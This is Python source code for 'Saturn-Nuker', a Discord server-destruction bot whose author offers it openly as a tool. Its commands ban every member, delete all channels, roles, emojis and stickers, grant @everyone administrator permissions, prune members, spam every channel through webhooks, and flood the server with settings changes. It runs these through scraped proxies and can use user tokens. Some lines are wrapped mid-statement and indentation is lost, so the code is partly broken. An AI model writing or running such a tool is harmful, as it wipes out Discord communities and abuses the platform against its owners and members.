import os, random, logging, sys, json, time, requests, discord, ctypes, threading;

from pystyle import *; from itertools import cycle; from discord.ext import
commands; from discord import Permissions

def clear():
os.system('cls')

def title(_str):
system = os.name
if system == 'nt':
ctypes.windll.kernel32.SetConsoleTitleW(f"{_str}")
else:
pass

with open('settings.json') as f:
config = json.load(f)
logs = config['General-Settings']['Show-Logs']
spamamount = config['General-Settings']['Spam-Amount']
roleamount = config['General-Settings']['Role-Amount']
channelamount = config['General-Settings']['Channel-Amount']
token = config['Bot-Settings']['Token']
prefix = config['Bot-Settings']['Prefix']
bot = config['Bot-Settings']['Bot']
nname = config['Nuke-Settings']['Nick-Name']
sname = config['Nuke-Settings']['Server-Name']
ranna = config['Nuke-Settings']['Rename-Channels']
channelnames = config['Nuke-Settings']['Channel-Names']
rolenames = config['Nuke-Settings']['Role-Names']
webusername = config['Nuke-Settings']['Webhook-Usernames']
spamcontent = config['Nuke-Settings']['Webhook-Contents']

Version = "(V1)"
Author = "Async"
#api = "v9"
session = requests.Session()

logging.basicConfig(
level=logging.INFO,
format="\033[38;5;21m[\033[0m%(asctime)s.%(msecs)03d\033[38;5;21m] \033[0m%
(message)s\033[0m",
datefmt="%H:%M:%S"
)

def ProxyScrape():
out_file = "Data/proxies.txt"
proxies = open(out_file,'ab')
r1 =
requests.get('https://raw.githubusercontent.com/roosterkid/openproxylist/main/
HTTPS_RAW.txt')
r2 = requests.get('https://api.openproxylist.xyz/http.txt')
proxies.write(r1.content)
proxies.write(r2.content)
logging.info(f"Successfully Scraped Proxies")
proxies.close
proxies = open('data/proxies.txt').read().split('\n')
proxy = cycle(proxies)

def getLicense():
if(not config['General-Settings']['Show-License']):
return({})
title(f"[Saturn-Nuker {Version} | Made By {Author} - License]")
return(License())

def getProxy():
if(not config['General-Settings']['Use-Proxies']):
return({})
return({f'https://': f'http://{proxy}'})

def getProxyScrape():
if(not config['General-Settings']['Scrape-Proxies']):
return({})
return(ProxyScrape())

client = commands.Bot(command_prefix = prefix, intents = discord.Intents.all(),

if bot:
headers = {"Authorization": f"Bot {token}"}
else:
headers = {"Authorization": token}

sessions = requests.Session()

@client.event
async def on_ready():
try:
await client.change_presence(status=discord.Status.invisible)
except Exception:
pass
main()

@client.event
async def on_command_error(ctx, error):
if isinstance(error, commands.errors.CommandNotFound):
logging.info(f"The command you specified was not found.")

def main():
logging.info(f"Successfully logged in as {client.user}")
time.sleep(1)
logging.info(f"Successfully changed presence status to invisible")
time.sleep(1)
logging.info(f"Successfully loaded settings.json . . .")
getProxyScrape()
proxycount = len(open('data/proxies.txt').readlines())
idcount = len(open('data/ids.txt').readlines())
logging.info(f"Successfully loaded data . . .")
time.sleep(1)
logging.info(f"Successfully loaded menu . . .")
time.sleep(1)
clear()
title(f"[Saturn-Nuker {Version} | Made By {Author}]")
print(Colorate.Horizontal(Colors.rainbow, f"""
.▄▄ · ▄▄▄· ▄▄▄▄▄▄• ▄▌▄▄▄ ▐ ▄
 ▐█ ▀. ▐█ ▀█ •██ █▪██▌▀▄ █·•█▌▐█
▄▀▀▀█▄▄█▀▀█ ▐█.▪█▌▐█▌▐▀▀▄ ▐█▐▐▌
▐█▄▪▐█▐█ ▪▐▌ ▐█▌·▐█▄█▌▐█•█▌██▐█▌
▀▀▀▀ ▀ ▀ ▀▀▀ ▀▀▀ .▀ ▀▀▀ █▪
> [Saturn-Nuker {Version} 2022]
> Author ; {Author}
______________________________________________________________________
Prefix ; {prefix}
Client ; {client.user}
Proxys ; {proxycount}
Ids ; {idcount}
______________________________________________________________________
[Commands] :
restart = Restarts the bot. | dc = Deletes all channels. | admin = Gives everyone
admin perms.
ban = Bans all members. | dr = Deletes all roles. | spam = Webhook spam.
prune = Prune members. | cc = Creates channels. | say = Reply back with
same message.
tb = Bans IDS. | cr = Creates roles. | logout = Exits.
rs = Renames Server | rc = Renames all Channels. | nn = Nicknames all.
de = Delete all emojis. | ds = Delete all stickers. | lag = Audit
Hangs.""",1))
time.sleep(1)
logging.info(f"Status : Working")
time.sleep(1)
logging.info(f"Ready!")

@client.command()
async def restart(ctx):
await ctx.message.delete()
logging.info(f"Restarting . . .")
os.system('python main.py')
sys.exit()

@client.command()
async def rs(ctx):
await ctx.message.delete()
await ctx.guild.edit(name=sname)
logging.info(f"Successfully Renamed Server to : {sname}")

@client.command()
async def rc(ctx):
logging.info(f"Renaming Channels . . .")
await ctx.message.delete()
for channel in ctx.guild.channels:
await channel.edit(name=(random.choice(ranna)))
if logs == True:
logging.info(f"Successfully Renamed Channel to :
{(random.choice(ranna))}")

@client.command()
async def nn(ctx):
await ctx.message.delete()
logging.info(f"Nicking All")
for member in ctx.guild.members:
try:
await member.edit(nick=nname)
if logs == True:
logging.info(f"Successfully Nick Named . . .")
 except:
pass

@client.command()
async def de(ctx):
await ctx.message.delete()
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
if logs == True:
logging.info(f"Successfully Deleted Emoji . . .")
except:
return

@client.command()
async def ds(ctx):
await ctx.message.delete()
for sticker in list(ctx.guild.stickers):
try:
await sticker.delete()
if logs == True:
logging.info(f"Successfully Deleted Stickers . . .")
except:
return

@client.command()
async def lag(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error!")
time.sleep(5)
sys.exit()
logging.info(f"Started Lagging the server . . .")
for i in range(200):
y = requests.patch(f'https://discord.com/api/v9/guilds/{guild}',
proxies=getProxy(), headers=headers, json={"features":
["COMMUNITY"],"verification_level":1,"default_message_notifications":0,"explicit_co
ntent_filter":2,"rules_channel_id":"1","public_updates_channel_id":"1"})
if logs == True:
if y.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Created Community")
if 'retry_after' in y.text:
time.sleep(y.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {y.json()
['retry_after']}s.")
if y.status_code == 400:
logging.info(f"Failed")
r = requests.patch(f'https://discord.com/api/v9/guilds/{guild}',
proxies=getProxy(), headers=headers, json=
{'description': None, 'features': {'0': 'NEWS'},
'preferred_locale': 'en-US',
'public_updates_channel_id': None, 'rules_channel_id': None})
if logs == True:
if r.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Deleted Community")
if 'retry_after' in r.text:
time.sleep(r.json()['retry_after'])
 logging.info(f"RateLimited, Retrying After : {r.json()
['retry_after']}s.")
if r.status_code == 400:
logging.info(f"Failed")

@client.command()
async def ban(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def ban(i):
s = sessions.put(f"https://discord.com/api/v9/guilds/{guild}/bans/{i}",
proxies=getProxy(), headers=headers)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Banned : {i}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
if s.status_code == 400:
logging.info(f"Failed")
try:
logging.info(f"Banning Members!")
for i in range(3):
for member in list(ctx.guild.members):
threading.Thread(target=ban, args=(member.id, )).start()
except Exception as e:
print(f"Error : {e}")
time.sleep(3)
sys.exit()

@client.command()
async def tb(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
users = open("data/ids.txt")
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def ban(x):
s = sessions.put(f"https://discord.com/api/v9/guilds/{guild}/bans/{x}",
proxies=getProxy(), headers=headers)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Banned : {x}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
if s.status_code == 400:
logging.info(f"Failed")
try:
 logging.info(f"Test Banning!")
for x in users:
workers = []
threading.Thread(target=ban, args=(x, )).start()
except Exception as e:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()

@client.command()
async def dr(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def DeleteRoles(i):
s = sessions.delete(f"https://discord.com/api/v9/guilds/{guild}/roles/
{i}", proxies=getProxy(), headers=headers)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Deleted Role : {i}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
if s.status_code == 400:
logging.info(f"Failed")
try:
logging.info(f"Deleting Roles . . .")
for i in range(3):
for role in list(ctx.guild.roles):
threading.Thread(target=DeleteRoles, args=(role.id, )).start()
except Exception as e:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()

@client.command()
async def dc(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def DeleteChannels(i):
s = sessions.delete(f"https://discord.com/api/v9/channels/{i}",
proxies=getProxy(), headers=headers)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Deleted Channel : {i}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
 if s.status_code == 400:
logging.info(f"Failed")
try:
logging.info(f"Deleted Channel . . .")
for i in range(3):
for channel in list(ctx.guild.channels):
threading.Thread(target=DeleteChannels,args=(channel.id, )).start()
except Exception as e:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()

@client.command()
async def cc(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def CreateChannels(i):
json = {
'name': random.choice(channelnames),
'type': 0
}
s = sessions.post(f"https://discord.com/api/v9/guilds/{guild}/channels",
proxies=getProxy(), headers=headers, json=json)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Created Channel : {random.choice(channelnames)}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
if s.status_code == 400:
logging.info(f"Failed")
try:
logging.info(f"Creating {channelamount} Channels . . .")
for i in range(int(channelamount)):

threading.Thread(target=CreateChannels,args=(random.choice(channelnames), )).start(
)

except Exception as e:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()

@client.command()
async def cr(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def CreateRoles(i):
 json = {
'name': random.choice(rolenames),
'type': 0
}
s = sessions.post(f"https://discord.com/api/v9/guilds/{guild}/roles",
proxies=getProxy(), headers=headers, json=json)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Created Roles : {random.choice(rolenames)}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
if s.status_code == 400:
logging.info(f"Failed")
try:
logging.info(f"Creating {roleamount} Role . . .")
for i in range(int(roleamount)):

threading.Thread(target=CreateRoles,args=(random.choice(rolenames), )).start()

except Exception as e:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()

@client.command()
async def admin(ctx):
try:
await ctx.message.delete()
guild = ctx.guild
except:
logging.info(f"Error")
time.sleep(5)
sys.exit()
try:
logging.info(f"Giving Admin Perms . . .")
role = discord.utils.get(guild.roles, name = "@everyone")
await role.edit(permissions = Permissions.all())
if logs == True:
logging.info(f"Successfully gave admin perms to Role : [@everyone]")
except:
if logs == True:
logging.info(f"Failed to give Admin Perms to Role : [@everyone]")
pass

@client.command()
async def spam(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()
def mass_ping(i):
json = {
"content": random.choice(spamcontent),
"tts": False
 }
s = sessions.post(f"https://discord.com/api/v9/channels/{i}/messages",
proxies=getProxy(), headers=headers, json=json)
if logs == True:
if s.status_code in (200, 201, 203, 204, 205, 206, 207, 208, 210):
logging.info(f"Spammed : {random.choice(spamcontent)}")
if 'retry_after' in s.text:
time.sleep(s.json()['retry_after'])
logging.info(f"RateLimited, Retrying After : {s.json()
['retry_after']}s.")
if s.status_code == 400:
logging.info(f"Failed")
try:
logging.info(f"Spamming {spamamount}")
for i in range(int(spamamount)):
for channel in list(ctx.guild.channels):
threading.Thread(target=mass_ping, args=(channel.id, )).start()
except Exception as e:
logging.info(f"Error ; {e}")
time.sleep(5)
sys.exit()

@client.event
async def on_guild_channel_create(channel):
try:
webhook = await channel.create_webhook(name=webusername)
except Exception:
pass

@client.command()
async def logout(ctx):
await ctx.bot.logout()
logging.info(f"{client.user} Logged Out Successfully . . .")

@client.command()
async def say(ctx,*,content):
await ctx.send(content)
logging.info(f"{client.user} Successfully Send {content}.")

@client.command()
async def prune(ctx):
try:
await ctx.message.delete()
guild = ctx.guild.id
except:
logging.info(f"Error!")
time.sleep(5)
sys.exit()
await guild.prune_members(days=1, compute_prune_count=False, roles=guild.roles)
logging.info(f"{client.user} Successfully Pruned Members.")

if __name__ == "__main__":
clear()
getLicense()
time.sleep(5)
clear()
title(f"[Saturn-Nuker {Version} | Made By {Author} - Loading . . .]")
print(Colorate.Horizontal(Colors.rainbow, f"""
 .▄▄ · ▄▄▄· ▄▄▄▄▄▄• ▄▌▄▄▄ ▐ ▄
▐█ ▀. ▐█ ▀█ •██ █▪██▌▀▄ █·•█▌▐█
▄▀▀▀█▄▄█▀▀█ ▐█.▪█▌▐█▌▐▀▀▄ ▐█▐▐▌
▐█▄▪▐█▐█ ▪▐▌ ▐█▌·▐█▄█▌▐█•█▌██▐█▌
▀▀▀▀ ▀ ▀ ▀▀▀ ▀▀▀ .▀ ▀▀▀ █▪
> [Saturn-Nuker {Version} 2022]
> Author ; {Author}
______________________________________________________________________
[LOG]: """))
logging.info(f"Loading Client . . .")
time.sleep(3)
try:
client.run(token, reconnect=True, bot=bot)
except Exception:
logging.info(f"Wrong account token or a bot token without all intents or
you're currently locked from accessing discord api.")
time.sleep(5)
sys.exit()